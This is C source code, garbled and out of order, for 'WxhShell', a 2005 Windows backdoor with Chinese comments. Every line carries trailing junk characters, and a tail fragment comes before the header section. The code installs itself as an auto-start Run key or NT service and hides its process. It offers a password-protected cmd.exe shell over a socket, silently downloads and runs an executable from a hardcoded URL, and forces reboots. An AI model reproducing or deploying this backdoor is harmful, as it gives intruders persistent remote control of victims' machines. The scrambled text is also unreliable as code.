    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :\1&5Pm]  
    if(Boot(SHUTDOWN)) 9Bmgz =8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JeCEj=_Z  
    else { X_|} b[b  
    closesocket(wsh); }fxH>79g  
    ExitThread(0); `[1]wV5(5@  
    } [ 06B)|s  
    break; r?2C%GI`  
    } X4*/h$48 w  
  // 获取shell C[$<7Mi|;  
  case 's': { qdu:kA:]  
    CmdShell(wsh); 1-gX=8]]  
    closesocket(wsh); g(;ejKSR  
    ExitThread(0); N=L urXv  
    break; 7~`6~qg.  
  } ae1fCw3k  
  // 退出 ]R]X#jm  
  case 'x': { ')FNudsC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); PwNLJj+%  
    CloseIt(wsh); q+G1#5  
    break; vqxTf)ys  
    } n#]G!7  
  // 离开 anV)$PT=  
  case 'q': { /ci.IT$Q^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); g-(xuR^*  
    closesocket(wsh); G6Fg<g9:  
    WSACleanup(); 86} rz  
    exit(1); ;j_#,Da9<  
    break; d ly 08 74  
        } &k{@:z  
  } h/w- &7t  
  } 42Ffx?Qmv  
{5z?5i ?D  
  // 提示信息 >\p}UPx  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,!py n<_  
} =O _[9kuJ  
  } 02S(9^=  
2Uk8{d  
  return; <*5D0q#~"  
} E0h!%/+-L  
kI;^V  
// shell模块句柄 WK^qYfq|  
int CmdShell(SOCKET sock) |)_<JAN  
{ T<=\5mn  
STARTUPINFO si; 6$5M^3$-  
ZeroMemory(&si,sizeof(si));  G0&w#j  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mLYB6   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; '}Y8a$(;V  
PROCESS_INFORMATION ProcessInfo; =gqZ^v&5U  
char cmdline[]="cmd"; ?3, *  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ff hD+-gTU  
  return 0; gR>#LM&dG  
} V7v,)a" L  
|3cR'|<Ual  
// 自身启动模式 6u7HO-aa  
int StartFromService(void) _0`O}  
{ .lnD]Q  
typedef struct O&0R ~<n  
{ Zj0&/S  
  DWORD ExitStatus; fj JIF%  
  DWORD PebBaseAddress; *Ee# x!O  
  DWORD AffinityMask; %qv7;E2C  
  DWORD BasePriority; 87/{\h  
  ULONG UniqueProcessId; ZqGq%8\.s  
  ULONG InheritedFromUniqueProcessId; S9BJjo  
}   PROCESS_BASIC_INFORMATION; n(+:l'#HJ  
pVY.&XBZ$  
PROCNTQSIP NtQueryInformationProcess; P$QfcJq&c*  
3WVHI$A9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $_UF9 l0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Q&LkST-i  
Ek BM>*W  
  HANDLE             hProcess; mnia>; 0H  
  PROCESS_BASIC_INFORMATION pbi; J{ Vl2P?@  
#75;%a8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \#}%E h b  
  if(NULL == hInst ) return 0; ),Rj@52l  
&_6:TqJ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !1_:nD  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3QVng^"B)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); kgu+ q\?  
lb('r"*.  
  if (!NtQueryInformationProcess) return 0; "869n37  
M@3H]t?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zYNJF>^<  
  if(!hProcess) return 0; EKf4f^<  
k4P.}SJ?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; V+q RDQ  
>4E,_`3N  
  CloseHandle(hProcess); z,EOyi  
!]nCeo  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); cG'Wh@  
if(hProcess==NULL) return 0; Ww~0k!8,t  
l9h;dI{6  
HMODULE hMod; }ie]7N6;  
char procName[255]; 9.B7Owgr89  
unsigned long cbNeeded; HKwGaCj`  
|"< I\Vs:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Mg$Z^v|}0  
1d"P) 3dQ  
  CloseHandle(hProcess); Y4O L 82Y  
jj2UUQ|  
if(strstr(procName,"services")) return 1; // 以服务启动 4Ojw&ys@V  
U{Z>y?V/  
  return 0; // 注册表启动 ^J_hkw~gO  
} qr 9 F  
[8w2U%}]  
// 主模块 ^q` *!B 9@  
int StartWxhshell(LPSTR lpCmdLine) Vmc)or*#  
{ ZJ(!jc$"*%  
  SOCKET wsl; aBnbu vp  
BOOL val=TRUE; ccSSa u5N  
  int port=0; v#FUD-Z  
  struct sockaddr_in door; C(t/:?(y  
~e<<aTwN  
  if(wscfg.ws_autoins) Install(); 5,Y2Lzr  
"q .uiz+1:  
port=atoi(lpCmdLine); di 5_5_$`o  
O~el2   
if(port<=0) port=wscfg.ws_port; Q:\hh=^  
_1'Pb/1  
  WSADATA data; ;GS JnV  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *&]l  
2LU'C,o?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   P>-,6a>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ? h%+2  
  door.sin_family = AF_INET; =.a ]?&Yyh  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); M6sDtL9l  
  door.sin_port = htons(port); s|'L0` <B  
(/U1J  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @\?f77Of6  
closesocket(wsl); +IYSWR  
return 1; sh2bhv]  
} [\1l4C  
vNbA/sM  
  if(listen(wsl,2) == INVALID_SOCKET) { mtHz6+  
closesocket(wsl); $@)d9u cd  
return 1; HV.7IyBA^  
} X;:xGZ-oY  
  Wxhshell(wsl); +kL(lBv'  
  WSACleanup(); dk/*%a +  
N}G(pq}  
return 0; 1`{ib  
G6 5N:  
} D$E9%'ir  
w)n]}k  
// 以NT服务方式启动 z%tu6_4j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S+Yg!RrNqj  
{ ;g jp&g9Q  
DWORD   status = 0; 6,1|y%(f  
  DWORD   specificError = 0xfffffff; 5QJL0fc  
h$\h PLx  
  serviceStatus.dwServiceType     = SERVICE_WIN32; qGCg3u6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [udV }  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Y +54z/{  
  serviceStatus.dwWin32ExitCode     = 0; Ui!|!V-  
  serviceStatus.dwServiceSpecificExitCode = 0; gUA}%YXe  
  serviceStatus.dwCheckPoint       = 0; nh)R  
  serviceStatus.dwWaitHint       = 0; `F8;{`a  
w.p'Dpw  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); t8 "-zd8  
  if (hServiceStatusHandle==0) return; "lf3hWGw  
_ZBR<{  
status = GetLastError(); dy?|Q33Y"  
  if (status!=NO_ERROR) XH$|DeAFM  
{ q&T'x> /  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -<]_:Kf{;&  
    serviceStatus.dwCheckPoint       = 0; CJ  
    serviceStatus.dwWaitHint       = 0; t}*!UixE  
    serviceStatus.dwWin32ExitCode     = status; (t$/G3E  
    serviceStatus.dwServiceSpecificExitCode = specificError; cV,Dl`1r  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Po. BcytM  
    return; \r,. hUp  
  } $:II @=  
#9VY[<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #/<Y!qV&  
  serviceStatus.dwCheckPoint       = 0; 4 GW[GT  
  serviceStatus.dwWaitHint       = 0; g}QTZT8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I>Fh*2  
} a&Du5(r;!  
XF$]KA L0  
// 处理NT服务事件,比如:启动、停止 T k&9Klo  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %nf=[f  
{ s,H(m8#>  
switch(fdwControl) C)p<M H<  
{ %5?-g[  
case SERVICE_CONTROL_STOP: &W// Ox )f  
  serviceStatus.dwWin32ExitCode = 0; iGVb.=)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #-j! ;?  
  serviceStatus.dwCheckPoint   = 0; B-'BJ|*4I  
  serviceStatus.dwWaitHint     = 0; 8k?L{hF|nW  
  { }AZx/[k |z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *[:CbFE0y  
  } Yka&Kkw  
  return; \ZWmef  
case SERVICE_CONTROL_PAUSE: _J~ta.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ik0Q^^1?Y  
  break; n4T2'e  
case SERVICE_CONTROL_CONTINUE: p+UHJ&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <JM%Kn )  
  break; ^Jl!WH=20}  
case SERVICE_CONTROL_INTERROGATE: T ) f_W  
  break; t0d '>  
}; Z;SG<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PFgjWp"Y  
} l'". }6S  
42wC."A  
// 标准应用程序主函数 lv_%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) qZ_fQ@   
{ ` +BaDns  
[3sxzU!t~  
// 获取操作系统版本 T xxB0  
OsIsNt=GetOsVer(); nk$V{(FJ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); o+Ti$`2<O7  
ur,"K' w  
  // 从命令行安装 bTy)0ta>AF  
  if(strpbrk(lpCmdLine,"iI")) Install(); <;0N@  
';|>`<  
  // 下载执行文件 {^5<{j3e  
if(wscfg.ws_downexe) { )k] !u  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V3~a!k  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8421-c6y>  
} jI2gi1 ,a  
bW.zxQ :  
if(!OsIsNt) { * r4/|.l  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^'53]b:  
HideProc(); SOQ-D4q  
StartWxhshell(lpCmdLine); vp75u93  
} 2n;;Tso"  
else !^bB/e  
  if(StartFromService()) r2F  
  // 以服务方式启动 FoD/Q  
  StartServiceCtrlDispatcher(DispatchTable); })Mv9~&S  
else cc(r,ij~4  
  // 普通方式启动 sa(M66KkU  
  StartWxhshell(lpCmdLine); -WBz]GW4r  
o7a6 )2JK  
return 0; +IO1ipc4cE  
} <Dj$0g  
+6M+hO]  
0H&U=9'YT  
XvkI +c  
=========================================== d7tD|[(J  
SAE '?_  
cvXI]+`<3\  
+s(IQt  
Q'Kik5I  
dIfs 8%kl  
" 6|>\&Y!Q  
9H, &nET  
#include <stdio.h> &G@-yQ  
#include <string.h> KgTGxCH  
#include <windows.h> kl3S~gE4@  
#include <winsock2.h> )\D40,p  
#include <winsvc.h> e]*=sp!T  
#include <urlmon.h> _QMHPRELk  
_?]BVw  
#pragma comment (lib, "Ws2_32.lib") fByh";<`P  
#pragma comment (lib, "urlmon.lib") l88a#zUQDN  
&c<}++'h  
#define MAX_USER   100 // 最大客户端连接数 @FdCbPl$  
#define BUF_SOCK   200 // sock buffer JfP\7  
#define KEY_BUFF   255 // 输入 buffer @+\S!o3m  
8}?Y;>s\  
#define REBOOT     0   // 重启 )lDIzLp  
#define SHUTDOWN   1   // 关机 L^ #<HQ  
 kulQR>u  
#define DEF_PORT   5000 // 监听端口 ZYA.1VrM  
7=p-A _X  
#define REG_LEN     16   // 注册表键长度 'D0X?2  
#define SVC_LEN     80   // NT服务名长度 R|)2Dg  
|N=@E,33  
// 从dll定义API [ 4Y `O  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `k}l$ih`X  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,8xP8T~Kmv  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); kF+}.x%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >xZhK63C/  
VM]GYz|#]  
// wxhshell配置信息 N{hF [F  
struct WSCFG { *e-ptgO  
  int ws_port;         // 监听端口 ,y8I)+  
  char ws_passstr[REG_LEN]; // 口令 v<7Gln  
  int ws_autoins;       // 安装标记, 1=yes 0=no D _bkUR1  
  char ws_regname[REG_LEN]; // 注册表键名 +{C9uY)$vf  
  char ws_svcname[REG_LEN]; // 服务名 #[U 9(44,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 fr'huvc  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Hr<C2p^a  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -wf RR>)d  
int ws_downexe;       // 下载执行标记, 1=yes 0=no io9xI3{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" # +QWi0B  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 InPy:}  
~[uV  
}; 4g6ksdFQ  
HL(U~Q6JQ  
// default Wxhshell configuration H7yg9zFT N  
struct WSCFG wscfg={DEF_PORT, o1#:j?sN  
    "xuhuanlingzhe", AJ#m6`M+EK  
    1, .W@(nQ-<  
    "Wxhshell", "'F;lzq  
    "Wxhshell", mP)3cc5T  
            "WxhShell Service", {KU.  
    "Wrsky Windows CmdShell Service", r{q}f)  
    "Please Input Your Password: ", Q9yGQu  
  1, =~\]3g  
  "http://www.wrsky.com/wxhshell.exe", Xb<DpBrk  
  "Wxhshell.exe" [j=,g-EOA  
    }; \=w'HZH#+  
4j=<p@  
// 消息定义模块 V{T{0b" \U  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h"PS-]:CD  
char *msg_ws_prompt="\n\r? for help\n\r#>"; S7UZGGjTk  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ib(>vp$V  
char *msg_ws_ext="\n\rExit."; SvX=isu!.  
char *msg_ws_end="\n\rQuit."; U BhciZ  
char *msg_ws_boot="\n\rReboot..."; Y3P.|  
char *msg_ws_poff="\n\rShutdown..."; ] ;pf  
char *msg_ws_down="\n\rSave to "; p- "Z'$A`  
Vedyy\TU  
char *msg_ws_err="\n\rErr!"; $*AC>i\  
char *msg_ws_ok="\n\rOK!"; ol$2sI=.s  
>&<<8Ln  
char ExeFile[MAX_PATH]; p |\%:#  
int nUser = 0; UK"}}nO@e  
HANDLE handles[MAX_USER]; ':!3jZP"m  
int OsIsNt; yV J dZI  
G%7 4v|cd  
SERVICE_STATUS       serviceStatus; S(>@:`=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; })o~E  
q:Y6fbt<7  
// 函数声明 CYPazOfj  
int Install(void); (2 T#/$  
int Uninstall(void); +9CEC1-l  
int DownloadFile(char *sURL, SOCKET wsh); 1jH7<%y  
int Boot(int flag); 6WE&((r ^  
void HideProc(void); ^s^ JzFw  
int GetOsVer(void); 2gd<8a''  
int Wxhshell(SOCKET wsl); 861i3OXVE>  
void TalkWithClient(void *cs); Gh]_L+  
int CmdShell(SOCKET sock); hncS_ZA  
int StartFromService(void); Pv/Pww \  
int StartWxhshell(LPSTR lpCmdLine); )|w*/JK\Z  
=y< ">-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ET,Q3X\Oe  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); y:[BP4H?y  
<#+oQ>5s  
// 数据结构和表定义 zU f>db  
SERVICE_TABLE_ENTRY DispatchTable[] = uFwU-LCe  
{ )\T@W  
{wscfg.ws_svcname, NTServiceMain}, $ ^W-Wmsz  
{NULL, NULL} F . K2  
}; 5l41Q  
~lzdbX  
// 自我安装 lQV|U;~D  
int Install(void) _ yfdj[Ot`  
{ X5uS>V%/  
  char svExeFile[MAX_PATH]; ] vC=.&]  
  HKEY key; 1Yc%0L(  
  strcpy(svExeFile,ExeFile); hD nM+4D  
_\ .  
// 如果是win9x系统,修改注册表设为自启动 <u/a`E?  
if(!OsIsNt) { _4P;+Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q7,EY /  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uP{; *E3?  
  RegCloseKey(key); X}oj_zsy;^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rQ9*J   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )!'n&UxPo$  
  RegCloseKey(key); )\{'fF  
  return 0; IK*oFo{C=K  
    } JN9^fR09G  
  } n?'d|h  
} ![^EsgEB*  
else { )46 0 Ed  
3g4e' ]t  
// 如果是NT以上系统,安装为系统服务 FE/$(7rM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #v.L$7O  
if (schSCManager!=0) q1YLq(e  
{ ZlthYuJ  
  SC_HANDLE schService = CreateService j((hqJr  
  ( :e1'o  
  schSCManager, \Ut6;  
  wscfg.ws_svcname, wA?@v|,dZ  
  wscfg.ws_svcdisp, - #3{{  
  SERVICE_ALL_ACCESS, y L*LJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }qer   
  SERVICE_AUTO_START, rmOQ{2}  
  SERVICE_ERROR_NORMAL, h^}_YaT\  
  svExeFile, l iw,O 6  
  NULL, Pj'62[5z  
  NULL, 's)fO#  
  NULL, +'-rTi\  
  NULL, bfFmTI$,  
  NULL 31WZJm^  
  ); $Axng J c  
  if (schService!=0) <5dH *K  
  { KwS`3 6:  
  CloseServiceHandle(schService); iJ}2"i7M  
  CloseServiceHandle(schSCManager); m&Lt6_vi  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Z.!g9fi8>  
  strcat(svExeFile,wscfg.ws_svcname); egfi;8]E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Osnyd+dJY  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); E]NY (1  
  RegCloseKey(key); GGH;Z WSe  
  return 0; #C4|@7w%  
    } :]'q#$!  
  } d!o.ASL{  
  CloseServiceHandle(schSCManager); _*Pfp+if  
} aC`Li^  
} }/20%fP  
y =R aJm  
return 1; NdZ)[f:2  
} }d_<\  
DB#$~(o  
// 自我卸载 g[M]i6h2  
int Uninstall(void) hHpx?9O+!  
{ GE@uO J6H  
  HKEY key; im=5{PbJ^  
29%=:*R$  
if(!OsIsNt) { (wife#)~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hGvqT,'  
  RegDeleteValue(key,wscfg.ws_regname); d>&\V)E  
  RegCloseKey(key); -TgUyv.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^\MhT)x  
  RegDeleteValue(key,wscfg.ws_regname); B22b&0  
  RegCloseKey(key); @: Z#E[N H  
  return 0; {(;B5rs  
  } L_^`k4ct  
} cv= \g Z  
} Jz0K}^Dj[  
else { "=qv#mZ#9  
TFO74^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); i-b1d'?Rb  
if (schSCManager!=0) CJp-Y}fGEA  
{ I:F <vE  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /u=aX  
  if (schService!=0) >5.zk1&H  
  { @l{I[pp  
  if(DeleteService(schService)!=0) { )S2iIi;Bq  
  CloseServiceHandle(schService); G;NB\3 ~X  
  CloseServiceHandle(schSCManager); AP0|z  
  return 0; AuAT]`  
  } B%fU'  
  CloseServiceHandle(schService); k52QaMKa~A  
  } /l ^y}o %?  
  CloseServiceHandle(schSCManager); usy,V"{  
} UeA2c_ 5  
} IP04l;p/  
gGI8t@t:  
return 1; >60"p~t  
} uoHqL IpQ  
.U 39nd  
// 从指定url下载文件 eES'}[W>  
int DownloadFile(char *sURL, SOCKET wsh) as(*B-_n~  
{ >b>gr OX  
  HRESULT hr; Oxv+1Ub<Dv  
char seps[]= "/"; G,]z (%  
char *token; bE d?^h  
char *file; zks#EzQ  
char myURL[MAX_PATH]; J?IC~5*2  
char myFILE[MAX_PATH]; N!L'W\H,  
Pu..NPl+  
strcpy(myURL,sURL); ds]?;l"  
  token=strtok(myURL,seps); |<rfvsQ.  
  while(token!=NULL) `E W!-v)  
  { <1 S+ '  
    file=token; 9`BEi(z  
  token=strtok(NULL,seps); &\k?xN  
  } @^!\d#/M  
t!{x<9  
GetCurrentDirectory(MAX_PATH,myFILE); N<liS3>  
strcat(myFILE, "\\"); /'4Q{8.a  
strcat(myFILE, file); EjSD4  
  send(wsh,myFILE,strlen(myFILE),0); yp p4L|R  
send(wsh,"...",3,0); 4{Udz!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9#Y2`p T  
  if(hr==S_OK) zmb@*/fK  
return 0; p![&8i@ym  
else vU}: U)S  
return 1; Hd 0Xx}3&  
Vv7PCaq  
} ufP Cx|x~  
H* /&A9("  
// 系统电源模块 ({e7U17[#  
int Boot(int flag) ,eXFN?CB  
{ (@q3^)I4  
  HANDLE hToken; )[jy[[K(  
  TOKEN_PRIVILEGES tkp; )~}PgbZ^  
+9zA^0   
  if(OsIsNt) { nLJBq)i  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~C| ,b"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); E0YU[([G  
    tkp.PrivilegeCount = 1;  eu9w|g  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @6b[GekZ<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Q>=-ext}q  
if(flag==REBOOT) { *H" aOT^{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  hgO?+x  
  return 0; Dx3%K S  
} hk} t:<  
else { 5 `=KyHi:b  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) t77'fm  
  return 0; ,QvYTJ{  
} y]'CXCml)  
  } ~<,Sh~Ana.  
  else { H&bh<KPMh  
if(flag==REBOOT) { 7/"@yVBW  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6m[9b*s7  
  return 0; P}@*Z>j:#  
} a#y{pT2 b  
else { dB3N%pB^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s}(X]Gx1  
  return 0; ~ziexZ=N  
} E >}q2  
} JZ=5Bpw  
{ma;G[!  
return 1; GV8)Kor%  
} kA^A mfba  
a,n93-m(m  
// win9x进程隐藏模块 jNc<~{/  
void HideProc(void) 5B*qbM  
{ $.:3$et@/  
fHfY}BQS  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); y5u\j{?Te  
  if ( hKernel != NULL ) )gXTRkmw  
  { !SF^a6jT  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); J8;Okzb!L  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6Z8l8:r-6  
    FreeLibrary(hKernel); %F J#uQXZ  
  } fsvYU0L  
p{.8_#O%S  
return; M#a&\cqC  
} {/ &B!zvl  
h8 =h >W-  
// 获取操作系统版本 Qra>}e%*  
int GetOsVer(void) RmOyGSO  
{ 4seciz0?  
  OSVERSIONINFO winfo; f#P_xn&et  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -H\,2FO  
  GetVersionEx(&winfo); O2v.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5pJ*1pfeo  
  return 1; ]XUSqai  
  else l1<?ONB.#  
  return 0; GwQn;gkF  
} .pvxh|V  
<xlm K(  
// 客户端句柄模块 Mm#[&j[Y  
int Wxhshell(SOCKET wsl) |ym%| B  
{ tcA;#^jc  
  SOCKET wsh; U3F3((EYJ  
  struct sockaddr_in client; ^~l  $&~  
  DWORD myID; maDz W_3  
*#2Rvt*Ox  
  while(nUser<MAX_USER) z*LiweR-  
{ wL2XNdo}<  
  int nSize=sizeof(client); &Rp"rMeW  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -t4 [oB  
  if(wsh==INVALID_SOCKET) return 1; e<5Y94YE  
>IY,be6>P  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); yr{B5z,  
if(handles[nUser]==0) bx>i6 R2  
  closesocket(wsh); HmV /> 9  
else \ e,?rH  
  nUser++; 5@P-g  
  } ]0/p 7N14  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]MAT2$"le  
A*'V+(  
  return 0; nbxR"UH  
} B*,?C]0{  
c3k|G<C2  
// 关闭 socket NHkL24ve  
void CloseIt(SOCKET wsh) 1q]c7"  
{ AuCWQ~  
closesocket(wsh); FT/amCRyT  
nUser--; }Bff,q  
ExitThread(0); U8O(;+  
} zj%cQkZ  
1S%}xsR0  
// 客户端请求句柄 " s]y!BLk  
void TalkWithClient(void *cs) >&Fa(o;*  
{ NHiq^ojk  
m mw-a0  
  SOCKET wsh=(SOCKET)cs; 6c<ezEJ  
  char pwd[SVC_LEN]; Q6^x8  
  char cmd[KEY_BUFF]; R8<eN9bJ9  
char chr[1]; iV hJH4  
int i,j; .Z%G@X*  
>;nS8{2o  
  while (nUser < MAX_USER) { Coa-8j*R7  
@J vZ[T/  
if(wscfg.ws_passstr) { >V!LitdJ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~L4eZ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D;js.ZF  
  //ZeroMemory(pwd,KEY_BUFF); Y\?j0X;  
      i=0; arh@`'Q  
  while(i<SVC_LEN) {  @E_zR  
^ vbWRG~  
  // 设置超时 2 F?kjg,  
  fd_set FdRead; n`L,]dco  
  struct timeval TimeOut; h0VzIuV  
  FD_ZERO(&FdRead); nGrVw&  
  FD_SET(wsh,&FdRead); ;nB2o-%  
  TimeOut.tv_sec=8; bPd-D-R  
  TimeOut.tv_usec=0; -7`-wu  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Sz0+ <F#5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .nZ3kT`  
qY(:8yC36  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T9)wj][ .  
  pwd=chr[0]; ,7,;twKz  
  if(chr[0]==0xd || chr[0]==0xa) { 9*}gl3y  
  pwd=0; ,{{SI  
  break; dr })-R  
  } o&-L0]i|  
  i++;  T-8J   
    } 77Q}=80GU;  
(0jr;jv  
  // 如果是非法用户,关闭 socket \G;CQV#{9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7 g6RiH}  
} 59!)j>f  
fLB1)kTS  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 77We;a  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UR3$B%i  
Alz~-hqQ  
while(1) { @{}rG8  
3jPB#%F  
  ZeroMemory(cmd,KEY_BUFF); >oqZ !V5[  
|9,UaA  
      // 自动支持客户端 telnet标准   Z> 74.r  
  j=0; p`>d7S>"  
  while(j<KEY_BUFF) { QN G&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I/s.xk_i  
  cmd[j]=chr[0]; J22r v(  
  if(chr[0]==0xa || chr[0]==0xd) { '29WscU  
  cmd[j]=0; ;$!I&<)  
  break; aWaw&u  
  } Rd! 2\|  
  j++; b5 Q NEi  
    } \Ph7(ik  
C\Ayv)S #2  
  // 下载文件 pm]fQ uq  
  if(strstr(cmd,"http://")) { @"8R3BN  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;<-7*}Dj  
  if(DownloadFile(cmd,wsh)) rn" pKUd  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \P?A7vuhLs  
  else s4,(26y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Tf-CEHWD  
  } H/jm f5  
  else { frH)_YJ%  
xzikD,FV  
    switch(cmd[0]) { wkikD  
  <t}?$1  
